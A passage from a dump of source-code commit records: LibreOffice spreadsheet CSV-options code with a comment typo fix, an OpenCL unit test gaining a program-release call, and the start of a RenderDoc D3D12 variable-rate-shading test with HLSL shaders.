InsertBuiltInName( sal_Unicode cBuiltIn, XclTokenArrayRef xTokArr, SCTAB nScTab );\n    \/** Inserts a new built-in defined name, referring to the passed sheet range. *\/\n    sal_uInt16          InsertBuiltInName( sal_Unicode cBuiltIn, const ScRange& rRange );\n    \/** Inserts a new built-in defined name, referring to the passed sheet range list. *\/\n    sal_uInt16          InsertBuiltInName( sal_Unicode cBuiltIn, const ScRangeList& rRangeList );\n\n    \/** Inserts a new defined name. Sets another unused name, if rName already exists. *\/\n    sal_uInt16          InsertUniqueName( const String& rName, XclTokenArrayRef xTokArr, SCTAB nScTab );\n    \/** Returns index of an existing name, or creates a name without definition. *\/\n    sal_uInt16          InsertRawName( const String& rName );\n    \/** Searches or inserts a defined name describing a macro name.\n        @param bVBasic  true = Visual Basic macro, false = Sheet macro.\n        @param bFunc  true = Macro function; false = Macro procedure. *\/\n    sal_uInt16          InsertMacroCall( const String& rMacroName, bool bVBasic, bool bFunc, bool bHidden = false );\n\n    \/** Returns the Calc sheet of a local defined name, or SCTAB_GLOBAL for global defined names. *\/\n    const String&       GetOrigName( sal_uInt16 nNameIdx ) const;\n    \/** Returns the Calc sheet of a local defined name, or SCTAB_GLOBAL for global defined names. *\/\n    SCTAB               GetScTab( sal_uInt16 nNameIdx ) const;\n    \/** Returns true, if the specified defined name is volatile. *\/\n    bool                IsVolatile( sal_uInt16 nNameIdx ) const;\n\n    \/** Writes the entire list of NAME records. *\/\n    virtual void        Save( XclExpStream& rStrm );\n\nprivate:\n    typedef ScfRef< XclExpNameManagerImpl > XclExpNameMgrImplRef;\n    XclExpNameMgrImplRef mxImpl;\n};\n\n\/\/ ============================================================================\n\n#endif\n\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>typo: uesd -> used<commit_after><|endoftext|>"}
{"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n *   Licensed to the Apache Software Foundation (ASF) under one or more\n *   contributor license agreements. See the NOTICE file distributed\n *   with this work for additional information regarding copyright\n *   ownership. The ASF licenses this file to you under the Apache\n *   License, Version 2.0 (the \"License\"); you may not use this file\n *   except in compliance with the License. You may obtain a copy of\n *   the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n#include \"global.hxx\"\n#include \"scresid.hxx\"\n#include \"impex.hxx\"\n#include \"asciiopt.hxx\"\n#include \"asciiopt.hrc\"\n#include <comphelper\/string.hxx>\n#include <rtl\/tencinfo.h>\n#include <unotools\/transliterationwrapper.hxx>\n\/\/ ause\n#include \"editutil.hxx\"\n\n\/\/ ============================================================================\n\nstatic const sal_Char pStrFix[] = \"FIX\";\nstatic const sal_Char pStrMrg[] = \"MRG\";\n\n\n\/\/ ============================================================================\n\nScAsciiOptions::ScAsciiOptions() :\n    bFixedLen       ( false ),\n    aFieldSeps      ( OUString(';') ),\n    bMergeFieldSeps ( false ),\n    bQuotedFieldAsText(false),\n    bDetectSpecialNumber(false),\n    cTextSep        ( cDefaultTextSep ),\n    eCharSet        ( osl_getThreadTextEncoding() ),\n    eLang           ( LANGUAGE_SYSTEM ),\n    bCharSetSystem  ( false ),\n    nStartRow       ( 1 ),\n    nInfoCount      ( 0 ),\n    pColStart       ( NULL ),\n    pColFormat      ( NULL )\n{\n}\n\n\nScAsciiOptions::ScAsciiOptions(const ScAsciiOptions& rOpt) :\n    bFixedLen       ( rOpt.bFixedLen ),\n    aFieldSeps      ( rOpt.aFieldSeps ),\n    bMergeFieldSeps ( rOpt.bMergeFieldSeps ),\n    bQuotedFieldAsText(rOpt.bQuotedFieldAsText),\n    bDetectSpecialNumber(rOpt.bDetectSpecialNumber),\n    cTextSep        ( rOpt.cTextSep ),\n    eCharSet        ( rOpt.eCharSet ),\n    eLang           ( rOpt.eLang ),\n    bCharSetSystem  ( rOpt.bCharSetSystem ),\n    nStartRow       ( rOpt.nStartRow ),\n    nInfoCount      ( rOpt.nInfoCount )\n{\n    if (nInfoCount)\n    {\n        pColStart = new sal_Int32[nInfoCount];\n        pColFormat = new sal_uInt8[nInfoCount];\n        for (sal_uInt16 i=0; i<nInfoCount; i++)\n        {\n            pColStart[i] = rOpt.pColStart[i];\n            pColFormat[i] = rOpt.pColFormat[i];\n        }\n    }\n    else\n    {\n        pColStart = NULL;\n        pColFormat = NULL;\n    }\n}\n\n\nScAsciiOptions::~ScAsciiOptions()\n{\n    delete[] pColStart;\n    delete[] pColFormat;\n}\n\n\nvoid ScAsciiOptions::SetColInfo( sal_uInt16 nCount, const sal_Int32* pStart, const sal_uInt8* pFormat )\n{\n    delete[] pColStart;\n    delete[] pColFormat;\n\n    nInfoCount = nCount;\n\n    if (nInfoCount)\n    {\n        pColStart = new sal_Int32[nInfoCount];\n        pColFormat = new sal_uInt8[nInfoCount];\n        for (sal_uInt16 i=0; i<nInfoCount; i++)\n        {\n            pColStart[i] = pStart[i];\n            pColFormat[i] = pFormat[i];\n        }\n    }\n    else\n    {\n        pColStart = NULL;\n        pColFormat = NULL;\n    }\n}\n\n\nvoid ScAsciiOptions::SetColumnInfo( const ScCsvExpDataVec& rDataVec )\n{\n    delete[] pColStart;\n    pColStart = NULL;\n    delete[] pColFormat;\n    pColFormat = NULL;\n\n    nInfoCount = static_cast< sal_uInt16 >( rDataVec.size() );\n    if( nInfoCount )\n    {\n        pColStart = new sal_Int32[ nInfoCount ];\n        pColFormat = new sal_uInt8[ nInfoCount ];\n        for( sal_uInt16 nIx = 0; nIx < nInfoCount; ++nIx )\n        {\n            pColStart[ nIx ] = rDataVec[ nIx ].mnIndex;\n            pColFormat[ nIx ] = rDataVec[ nIx ].mnType;\n        }\n    }\n}\n\n\nScAsciiOptions& ScAsciiOptions::operator=( const ScAsciiOptions& rCpy )\n{\n    SetColInfo( rCpy.nInfoCount, rCpy.pColStart, rCpy.pColFormat );\n\n    bFixedLen       = rCpy.bFixedLen;\n    aFieldSeps      = rCpy.aFieldSeps;\n    bMergeFieldSeps = rCpy.bMergeFieldSeps;\n    bQuotedFieldAsText = rCpy.bQuotedFieldAsText;\n    cTextSep        = rCpy.cTextSep;\n    eCharSet        = rCpy.eCharSet;\n    bCharSetSystem  = rCpy.bCharSetSystem;\n    nStartRow       = rCpy.nStartRow;\n\n    return *this;\n}\n\n\nbool ScAsciiOptions::operator==( const ScAsciiOptions& rCmp ) const\n{\n    if ( bFixedLen       == rCmp.bFixedLen &&\n         aFieldSeps      == rCmp.aFieldSeps &&\n         bMergeFieldSeps == rCmp.bMergeFieldSeps &&\n         bQuotedFieldAsText == rCmp.bQuotedFieldAsText &&\n         cTextSep        == rCmp.cTextSep &&\n         eCharSet        == rCmp.eCharSet &&\n         bCharSetSystem  == rCmp.bCharSetSystem &&\n         nStartRow       == rCmp.nStartRow &&\n         nInfoCount      == rCmp.nInfoCount )\n    {\n        OSL_ENSURE( !nInfoCount || (pColStart && pColFormat && rCmp.pColStart && rCmp.pColFormat),\n                     \"0-Zeiger in ScAsciiOptions\" );\n        for (sal_uInt16 i=0; i<nInfoCount; i++)\n            if ( pColStart[i] != rCmp.pColStart[i] ||\n                 pColFormat[i] != rCmp.pColFormat[i] )\n                return false;\n\n        return true;\n    }\n    return false;\n}\n\n\/\/\n\/\/  Der Options-String darf kein Semikolon mehr enthalten (wegen Pickliste)\n\/\/  darum ab Version 336 Komma stattdessen\n\/\/\n\n\nvoid ScAsciiOptions::ReadFromString( const String& rString )\n{\n    xub_StrLen nCount = comphelper::string::getTokenCount(rString, ',');\n    String aToken;\n    xub_StrLen nSub;\n    xub_StrLen i;\n\n        \/\/\n        \/\/  Feld-Trenner\n        \/\/\n\n    if ( nCount >= 1 )\n    {\n        bFixedLen = bMergeFieldSeps = false;\n        aFieldSeps.Erase();\n\n        aToken = rString.GetToken(0,',');\n        if ( aToken.EqualsAscii(pStrFix) )\n            bFixedLen = true;\n        nSub = comphelper::string::getTokenCount(aToken, '\/');\n        for ( i=0; i<nSub; i++ )\n        {\n            String aCode = aToken.GetToken( i, '\/' );\n            if ( aCode.EqualsAscii(pStrMrg) )\n                bMergeFieldSeps = true;\n            else\n            {\n                sal_Int32 nVal = aCode.ToInt32();\n                if ( nVal )\n                    aFieldSeps += (sal_Unicode) nVal;\n            }\n        }\n    }\n\n        \/\/\n        \/\/  Text-Trenner\n        \/\/\n\n    if ( nCount >= 2 )\n    {\n        aToken = rString.GetToken(1,',');\n        sal_Int32 nVal = aToken.ToInt32();\n        cTextSep = (sal_Unicode) nVal;\n    }\n\n        \/\/\n        \/\/  Zeichensatz\n        \/\/\n\n    if ( nCount >= 3 )\n    {\n        aToken = rString.GetToken(2,',');\n        eCharSet = ScGlobal::GetCharsetValue( aToken );\n    }\n\n        \/\/\n        \/\/  Startzeile\n        \/\/\n\n    if ( nCount >= 4 )\n    {\n        aToken = rString.GetToken(3,',');\n        nStartRow = aToken.ToInt32();\n    }\n\n        \/\/\n        \/\/  Spalten-Infos\n        \/\/\n\n    if ( nCount >= 5 )\n    {\n        delete[] pColStart;\n        delete[] pColFormat;\n\n        aToken = rString.GetToken(4,',');\n        nSub = comphelper::string::getTokenCount(aToken, '\/');\n        nInfoCount = nSub \/ 2;\n        if (nInfoCount)\n        {\n            pColStart = new sal_Int32[nInfoCount];\n            pColFormat = new sal_uInt8[nInfoCount];\n            for (sal_uInt16 nInfo=0; nInfo<nInfoCount; nInfo++)\n            {\n                pColStart[nInfo]  = (sal_Int32) aToken.GetToken( 2*nInfo, '\/' ).ToInt32();\n                pColFormat[nInfo] = (sal_uInt8) aToken.GetToken( 2*nInfo+1, '\/' ).ToInt32();\n            }\n        }\n        else\n        {\n            pColStart = NULL;\n            pColFormat = NULL;\n        }\n    }\n\n    \/\/ Language\n    if (nCount >= 6)\n    {\n        aToken = rString.GetToken(5, ',');\n        eLang = static_cast<LanguageType>(aToken.ToInt32());\n    }\n\n    \/\/ Import quoted field as text.\n    if (nCount >= 7)\n    {\n        aToken = rString.GetToken(6, ',');\n        bQuotedFieldAsText = aToken.EqualsAscii(\"true\") ? true : false;\n    }\n\n    \/\/ Detect special nubmers.\n    if (nCount >= 8)\n    {\n        aToken = rString.GetToken(7, ',');\n        bDetectSpecialNumber = aToken.EqualsAscii(\"true\") ? true : false;\n    }\n    else\n        bDetectSpecialNumber = true;    \/\/ default of versions that didn't add the parameter\n\n    \/\/ 9th token is used for \"Save as shown\" in export options\n    \/\/ 10th token is used for \"Save cell formulas\" in export options\n}\n\n\nString ScAsciiOptions::WriteToString() const\n{\n    OUString aOutStr;\n\n        \/\/\n        \/\/  Feld-Trenner\n        \/\/\n\n    if ( bFixedLen )\n        aOutStr += pStrFix;\n    else if ( !aFieldSeps.Len() )\n        aOutStr += \"0\";\n    else\n    {\n        xub_StrLen nLen = aFieldSeps.Len();\n        for (xub_StrLen i=0; i<nLen; i++)\n        {\n            if (i)\n                aOutStr += \"\/\";\n            aOutStr += OUString::number(aFieldSeps.GetChar(i));\n        }\n        if ( bMergeFieldSeps )\n        {\n            aOutStr += \"\/\";\n            aOutStr += pStrMrg;\n        }\n    }\n\n    aOutStr += \",\" +\n               \/\/ Text-Trenner\n               OUString::number(cTextSep) + \",\";\n\n        \/\/\n        \/\/  Zeichensatz\n        \/\/\n\n    if ( bCharSetSystem )           \/\/ force \"SYSTEM\"\n        aOutStr += ScGlobal::GetCharsetString( RTL_TEXTENCODING_DONTKNOW );\n    else\n        aOutStr += ScGlobal::GetCharsetString( eCharSet );\n    aOutStr += \",\" +\n               \/\/ Startzeile\n               OUString::number(nStartRow) + \",\";\n\n        \/\/\n        \/\/  Spalten-Infos\n        \/\/\n\n    OSL_ENSURE( !nInfoCount || (pColStart && pColFormat), \"0-Zeiger in ScAsciiOptions\" );\n    for (sal_uInt16 nInfo=0; nInfo<nInfoCount; nInfo++)\n    {\n        if (nInfo)\n            aOutStr += \"\/\";\n        aOutStr += OUString::number(pColStart[nInfo]) +\n                   \"\/\" +\n                   OUString::number(pColFormat[nInfo]);\n    }\n\n    \/\/ #i112025# the options string is used in macros and linked sheets,\n    \/\/ so new options must be added at the end, to remain compatible\n\n    aOutStr += \",\" +\n               \/\/ Language\n               OUString::number(eLang) + \",\" +\n               \/\/ Import quoted field as text.\n               OUString::boolean( bQuotedFieldAsText ) + \",\" +\n               \/\/ Detect special numbers.\n               OUString::boolean( bDetectSpecialNumber );\n\n    \/\/ 9th token is used for \"Save as shown\" in export options\n    \/\/ 10th token is used for \"Save cell formulas\" in export options\n\n    return aOutStr;\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<commit_msg>typo in comment<commit_after>\/* -*- Mode: C++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*- *\/\n\/*\n * This file is part of the LibreOffice project.\n *\n * This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/.\n *\n * This file incorporates work covered by the following license notice:\n *\n *   Licensed to the Apache Software Foundation (ASF) under one or more\n *   contributor license agreements. See the NOTICE file distributed\n *   with this work for additional information regarding copyright\n *   ownership. The ASF licenses this file to you under the Apache\n *   License, Version 2.0 (the \"License\"); you may not use this file\n *   except in compliance with the License. You may obtain a copy of\n *   the License at http:\/\/www.apache.org\/licenses\/LICENSE-2.0 .\n *\/\n\n#include \"global.hxx\"\n#include \"scresid.hxx\"\n#include \"impex.hxx\"\n#include \"asciiopt.hxx\"\n#include \"asciiopt.hrc\"\n#include <comphelper\/string.hxx>\n#include <rtl\/tencinfo.h>\n#include <unotools\/transliterationwrapper.hxx>\n\/\/ ause\n#include \"editutil.hxx\"\n\n\/\/ ============================================================================\n\nstatic const sal_Char pStrFix[] = \"FIX\";\nstatic const sal_Char pStrMrg[] = \"MRG\";\n\n\n\/\/ ============================================================================\n\nScAsciiOptions::ScAsciiOptions() :\n    bFixedLen       ( false ),\n    aFieldSeps      ( OUString(';') ),\n    bMergeFieldSeps ( false ),\n    bQuotedFieldAsText(false),\n    bDetectSpecialNumber(false),\n    cTextSep        ( cDefaultTextSep ),\n    eCharSet        ( osl_getThreadTextEncoding() ),\n    eLang           ( LANGUAGE_SYSTEM ),\n    bCharSetSystem  ( false ),\n    nStartRow       ( 1 ),\n    nInfoCount      ( 0 ),\n    pColStart       ( NULL ),\n    pColFormat      ( NULL )\n{\n}\n\n\nScAsciiOptions::ScAsciiOptions(const ScAsciiOptions& rOpt) :\n    bFixedLen       ( rOpt.bFixedLen ),\n    aFieldSeps      ( rOpt.aFieldSeps ),\n    bMergeFieldSeps ( rOpt.bMergeFieldSeps ),\n    bQuotedFieldAsText(rOpt.bQuotedFieldAsText),\n    bDetectSpecialNumber(rOpt.bDetectSpecialNumber),\n    cTextSep        ( rOpt.cTextSep ),\n    eCharSet        ( rOpt.eCharSet ),\n    eLang           ( rOpt.eLang ),\n    bCharSetSystem  ( rOpt.bCharSetSystem ),\n    nStartRow       ( rOpt.nStartRow ),\n    nInfoCount      ( rOpt.nInfoCount )\n{\n    if (nInfoCount)\n    {\n        pColStart = new sal_Int32[nInfoCount];\n        pColFormat = new sal_uInt8[nInfoCount];\n        for (sal_uInt16 i=0; i<nInfoCount; i++)\n        {\n            pColStart[i] = rOpt.pColStart[i];\n            pColFormat[i] = rOpt.pColFormat[i];\n        }\n    }\n    else\n    {\n        pColStart = NULL;\n        pColFormat = NULL;\n    }\n}\n\n\nScAsciiOptions::~ScAsciiOptions()\n{\n    delete[] pColStart;\n    delete[] pColFormat;\n}\n\n\nvoid ScAsciiOptions::SetColInfo( sal_uInt16 nCount, const sal_Int32* pStart, const sal_uInt8* pFormat )\n{\n    delete[] pColStart;\n    delete[] pColFormat;\n\n    nInfoCount = nCount;\n\n    if (nInfoCount)\n    {\n        pColStart = new sal_Int32[nInfoCount];\n        pColFormat = new sal_uInt8[nInfoCount];\n        for (sal_uInt16 i=0; i<nInfoCount; i++)\n        {\n            pColStart[i] = pStart[i];\n            pColFormat[i] = pFormat[i];\n        }\n    }\n    else\n    {\n        pColStart = NULL;\n        pColFormat = NULL;\n    }\n}\n\n\nvoid ScAsciiOptions::SetColumnInfo( const ScCsvExpDataVec& rDataVec )\n{\n    delete[] pColStart;\n    pColStart = NULL;\n    delete[] pColFormat;\n    pColFormat = NULL;\n\n    nInfoCount = static_cast< sal_uInt16 >( rDataVec.size() );\n    if( nInfoCount )\n    {\n        pColStart = new sal_Int32[ nInfoCount ];\n        pColFormat = new sal_uInt8[ nInfoCount ];\n        for( sal_uInt16 nIx = 0; nIx < nInfoCount; ++nIx )\n        {\n            pColStart[ nIx ] = rDataVec[ nIx ].mnIndex;\n            pColFormat[ nIx ] = rDataVec[ nIx ].mnType;\n        }\n    }\n}\n\n\nScAsciiOptions& ScAsciiOptions::operator=( const ScAsciiOptions& rCpy )\n{\n    SetColInfo( rCpy.nInfoCount, rCpy.pColStart, rCpy.pColFormat );\n\n    bFixedLen       = rCpy.bFixedLen;\n    aFieldSeps      = rCpy.aFieldSeps;\n    bMergeFieldSeps = rCpy.bMergeFieldSeps;\n    bQuotedFieldAsText = rCpy.bQuotedFieldAsText;\n    cTextSep        = rCpy.cTextSep;\n    eCharSet        = rCpy.eCharSet;\n    bCharSetSystem  = rCpy.bCharSetSystem;\n    nStartRow       = rCpy.nStartRow;\n\n    return *this;\n}\n\n\nbool ScAsciiOptions::operator==( const ScAsciiOptions& rCmp ) const\n{\n    if ( bFixedLen       == rCmp.bFixedLen &&\n         aFieldSeps      == rCmp.aFieldSeps &&\n         bMergeFieldSeps == rCmp.bMergeFieldSeps &&\n         bQuotedFieldAsText == rCmp.bQuotedFieldAsText &&\n         cTextSep        == rCmp.cTextSep &&\n         eCharSet        == rCmp.eCharSet &&\n         bCharSetSystem  == rCmp.bCharSetSystem &&\n         nStartRow       == rCmp.nStartRow &&\n         nInfoCount      == rCmp.nInfoCount )\n    {\n        OSL_ENSURE( !nInfoCount || (pColStart && pColFormat && rCmp.pColStart && rCmp.pColFormat),\n                     \"0-Zeiger in ScAsciiOptions\" );\n        for (sal_uInt16 i=0; i<nInfoCount; i++)\n            if ( pColStart[i] != rCmp.pColStart[i] ||\n                 pColFormat[i] != rCmp.pColFormat[i] )\n                return false;\n\n        return true;\n    }\n    return false;\n}\n\n\/\/\n\/\/  Der Options-String darf kein Semikolon mehr enthalten (wegen Pickliste)\n\/\/  darum ab Version 336 Komma stattdessen\n\/\/\n\n\nvoid ScAsciiOptions::ReadFromString( const String& rString )\n{\n    xub_StrLen nCount = comphelper::string::getTokenCount(rString, ',');\n    String aToken;\n    xub_StrLen nSub;\n    xub_StrLen i;\n\n        \/\/\n        \/\/  Feld-Trenner\n        \/\/\n\n    if ( nCount >= 1 )\n    {\n        bFixedLen = bMergeFieldSeps = false;\n        aFieldSeps.Erase();\n\n        aToken = rString.GetToken(0,',');\n        if ( aToken.EqualsAscii(pStrFix) )\n            bFixedLen = true;\n        nSub = comphelper::string::getTokenCount(aToken, '\/');\n        for ( i=0; i<nSub; i++ )\n        {\n            String aCode = aToken.GetToken( i, '\/' );\n            if ( aCode.EqualsAscii(pStrMrg) )\n                bMergeFieldSeps = true;\n            else\n            {\n                sal_Int32 nVal = aCode.ToInt32();\n                if ( nVal )\n                    aFieldSeps += (sal_Unicode) nVal;\n            }\n        }\n    }\n\n        \/\/\n        \/\/  Text-Trenner\n        \/\/\n\n    if ( nCount >= 2 )\n    {\n        aToken = rString.GetToken(1,',');\n        sal_Int32 nVal = aToken.ToInt32();\n        cTextSep = (sal_Unicode) nVal;\n    }\n\n        \/\/\n        \/\/  Zeichensatz\n        \/\/\n\n    if ( nCount >= 3 )\n    {\n        aToken = rString.GetToken(2,',');\n        eCharSet = ScGlobal::GetCharsetValue( aToken );\n    }\n\n        \/\/\n        \/\/  Startzeile\n        \/\/\n\n    if ( nCount >= 4 )\n    {\n        aToken = rString.GetToken(3,',');\n        nStartRow = aToken.ToInt32();\n    }\n\n        \/\/\n        \/\/  Spalten-Infos\n        \/\/\n\n    if ( nCount >= 5 )\n    {\n        delete[] pColStart;\n        delete[] pColFormat;\n\n        aToken = rString.GetToken(4,',');\n        nSub = comphelper::string::getTokenCount(aToken, '\/');\n        nInfoCount = nSub \/ 2;\n        if (nInfoCount)\n        {\n            pColStart = new sal_Int32[nInfoCount];\n            pColFormat = new sal_uInt8[nInfoCount];\n            for (sal_uInt16 nInfo=0; nInfo<nInfoCount; nInfo++)\n            {\n                pColStart[nInfo]  = (sal_Int32) aToken.GetToken( 2*nInfo, '\/' ).ToInt32();\n                pColFormat[nInfo] = (sal_uInt8) aToken.GetToken( 2*nInfo+1, '\/' ).ToInt32();\n            }\n        }\n        else\n        {\n            pColStart = NULL;\n            pColFormat = NULL;\n        }\n    }\n\n    \/\/ Language\n    if (nCount >= 6)\n    {\n        aToken = rString.GetToken(5, ',');\n        eLang = static_cast<LanguageType>(aToken.ToInt32());\n    }\n\n    \/\/ Import quoted field as text.\n    if (nCount >= 7)\n    {\n        aToken = rString.GetToken(6, ',');\n        bQuotedFieldAsText = aToken.EqualsAscii(\"true\") ? true : false;\n    }\n\n    \/\/ Detect special numbers.\n    if (nCount >= 8)\n    {\n        aToken = rString.GetToken(7, ',');\n        bDetectSpecialNumber = aToken.EqualsAscii(\"true\") ? true : false;\n    }\n    else\n        bDetectSpecialNumber = true;    \/\/ default of versions that didn't add the parameter\n\n    \/\/ 9th token is used for \"Save as shown\" in export options\n    \/\/ 10th token is used for \"Save cell formulas\" in export options\n}\n\n\nString ScAsciiOptions::WriteToString() const\n{\n    OUString aOutStr;\n\n        \/\/\n        \/\/  Feld-Trenner\n        \/\/\n\n    if ( bFixedLen )\n        aOutStr += pStrFix;\n    else if ( !aFieldSeps.Len() )\n        aOutStr += \"0\";\n    else\n    {\n        xub_StrLen nLen = aFieldSeps.Len();\n        for (xub_StrLen i=0; i<nLen; i++)\n        {\n            if (i)\n                aOutStr += \"\/\";\n            aOutStr += OUString::number(aFieldSeps.GetChar(i));\n        }\n        if ( bMergeFieldSeps )\n        {\n            aOutStr += \"\/\";\n            aOutStr += pStrMrg;\n        }\n    }\n\n    aOutStr += \",\" +\n               \/\/ Text-Trenner\n               OUString::number(cTextSep) + \",\";\n\n        \/\/\n        \/\/  Zeichensatz\n        \/\/\n\n    if ( bCharSetSystem )           \/\/ force \"SYSTEM\"\n        aOutStr += ScGlobal::GetCharsetString( RTL_TEXTENCODING_DONTKNOW );\n    else\n        aOutStr += ScGlobal::GetCharsetString( eCharSet );\n    aOutStr += \",\" +\n               \/\/ Startzeile\n               OUString::number(nStartRow) + \",\";\n\n        \/\/\n        \/\/  Spalten-Infos\n        \/\/\n\n    OSL_ENSURE( !nInfoCount || (pColStart && pColFormat), \"0-Zeiger in ScAsciiOptions\" );\n    for (sal_uInt16 nInfo=0; nInfo<nInfoCount; nInfo++)\n    {\n        if (nInfo)\n            aOutStr += \"\/\";\n        aOutStr += OUString::number(pColStart[nInfo]) +\n                   \"\/\" +\n                   OUString::number(pColFormat[nInfo]);\n    }\n\n    \/\/ #i112025# the options string is used in macros and linked sheets,\n    \/\/ so new options must be added at the end, to remain compatible\n\n    aOutStr += \",\" +\n               \/\/ Language\n               OUString::number(eLang) + \",\" +\n               \/\/ Import quoted field as text.\n               OUString::boolean( bQuotedFieldAsText ) + \",\" +\n               \/\/ Detect special numbers.\n               OUString::boolean( bDetectSpecialNumber );\n\n    \/\/ 9th token is used for \"Save as shown\" in export options\n    \/\/ 10th token is used for \"Save cell formulas\" in export options\n\n    return aOutStr;\n}\n\n\/* vim:set shiftwidth=4 softtabstop=4 expandtab: *\/\n<|endoftext|>"}
{"text":"<commit_before>#include \"utest_helper.hpp\"\n\nvoid enqueue_built_in_kernels(void)\n{\n  char* built_in_kernel_names;\n  size_t built_in_kernels_size;\n  cl_int err = CL_SUCCESS;\n  size_t ret_sz;\n\n\n  OCL_CALL (clGetDeviceInfo, device, CL_DEVICE_BUILT_IN_KERNELS, 0, 0, &built_in_kernels_size);\n  built_in_kernel_names = (char* )malloc(built_in_kernels_size * sizeof(char) );\n  OCL_CALL(clGetDeviceInfo, device, CL_DEVICE_BUILT_IN_KERNELS, built_in_kernels_size, (void*)built_in_kernel_names, &ret_sz);\n  OCL_ASSERT(ret_sz == built_in_kernels_size);\n  cl_program built_in_prog = clCreateProgramWithBuiltInKernels(ctx, 1, &device, built_in_kernel_names, &err);\n  OCL_ASSERT(built_in_prog != NULL);\n}\n\nMAKE_UTEST_FROM_FUNCTION(enqueue_built_in_kernels);\n<commit_msg>Utest: fix a build-in program leak.<commit_after>#include \"utest_helper.hpp\"\n\nvoid enqueue_built_in_kernels(void)\n{\n  char* built_in_kernel_names;\n  size_t built_in_kernels_size;\n  cl_int err = CL_SUCCESS;\n  size_t ret_sz;\n\n\n  OCL_CALL (clGetDeviceInfo, device, CL_DEVICE_BUILT_IN_KERNELS, 0, 0, &built_in_kernels_size);\n  built_in_kernel_names = (char* )malloc(built_in_kernels_size * sizeof(char) );\n  OCL_CALL(clGetDeviceInfo, device, CL_DEVICE_BUILT_IN_KERNELS, built_in_kernels_size, (void*)built_in_kernel_names, &ret_sz);\n  OCL_ASSERT(ret_sz == built_in_kernels_size);\n  cl_program built_in_prog = clCreateProgramWithBuiltInKernels(ctx, 1, &device, built_in_kernel_names, &err);\n  OCL_ASSERT(built_in_prog != NULL);\n  clReleaseProgram(built_in_prog);\n}\n\nMAKE_UTEST_FROM_FUNCTION(enqueue_built_in_kernels);\n<|endoftext|>"}
{"text":"<commit_before>\/******************************************************************************\n * The MIT License (MIT)\n *\n * Copyright (c) 2019-2022 Baldur Karlsson\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n ******************************************************************************\/\n\n#include \"d3d12_test.h\"\n\nRD_TEST(D3D12_VRS, D3D12GraphicsTest)\n{\n  static constexpr const char *Description =\n      \"Checks that VRS is correctly replayed and that state is inspectable\";\n\n  std::string pixel = R\"EOSHADER(\n\nuint wang_hash(uint seed)\n{\n    seed = (seed ^ 61) ^ (seed >> 16);\n    seed *= 9;\n    seed = seed ^ (seed >> 4);\n    seed *= 0x27d4eb2d;\n    seed = seed ^ (seed >> 15);\n    return seed;\n}\n\nfloat4 main(float4 pos : SV_Position) : SV_Target0\n{\n  uint col = wang_hash(uint(pos.x * 10000.0f + pos.y));\n  float4 outcol;\n  outcol.x = float((col & 0xff000000u) >> 24u) \/ 255.0f;\n  outcol.y = float((col & 0x00ff0000u) >> 16u) \/ 255.0f;\n  outcol.z = float((col & 0x0000ff00u) >>  8u) \/ 255.0f;\n  outcol.w = 1.0f;\n\treturn outcol;\n}\n\n)EOSHADER\";\n\n  std::string vertex = R\"EOSHADER(\n\nstruct OUT\n{\nfloat4 pos : SV_Position;\n\n#ifdef VERT_VRS\nuint rate : SV_ShadingRate;\n#endif\n};\n\nOUT main(float3 pos : POSITION, float4 col : COLOR0)\n{\n\tOUT o = (OUT)0;\n\n\to.pos = float4(pos.xyz, 1);\n\n#ifdef VERT_VRS\n  o.rate = uint(col.x) << 2 | uint(col.y);\n#endif\n\n\treturn o;\n}\n\n)EOSHADER\";\n\n  void Prepare(int argc, char **argv)\n  {\n    D3D12GraphicsTest::Prepare(argc, argv);\n\n    if(opts6.VariableShadingRateTier == D3D12_VARIABLE_SHADING_RATE_TIER_NOT_SUPPORTED)\n      Avail = \"Variable shading rate is not supported\";\n  }\n\n  int main()\n  {\n    \/\/ initialise, create window, create device, etc\n    if(!Init())\n      return 3;\n\n    ID3DBlobPtr vsblob = Compile(vertex, \"main\", \"vs_5_0\");\n    ID3DBlobPtr psblob = Compile(pixel, \"main\", \"ps_5_0\");\n\n    ID3D12RootSignaturePtr sig = MakeSig({});\n\n    ID3D12PipelineStatePtr pso = MakePSO().RootSig(sig).InputLayout().VS(vsblob).PS(psblob);\n\n    ID3D12PipelineStatePtr vertpso;\n    \/\/ without DXIL we can't compile shaders with shading rate exported from the vertex\n    if(m_DXILSupport)\n    {\n      vsblob = Compile(\"#define VERT_VRS 1\\n\\n\" + vertex, \"main\", \"vs_6_4\");\n      psblob = Compile(pixel, \"main\", \"ps_6_0\");\n\n      vertpso = MakePSO().RootSig(sig).InputLayout().VS(vsblob).PS(psblob);\n    }\n\n    const DefaultA2V tris[6] = {\n        {Vec3f(-1.0f, -0.6f, 0.0f), Vec4f(0.0f, 0.0f, 0.0f, 1.0f), Vec2f(0.0f, 0.0f)},\n        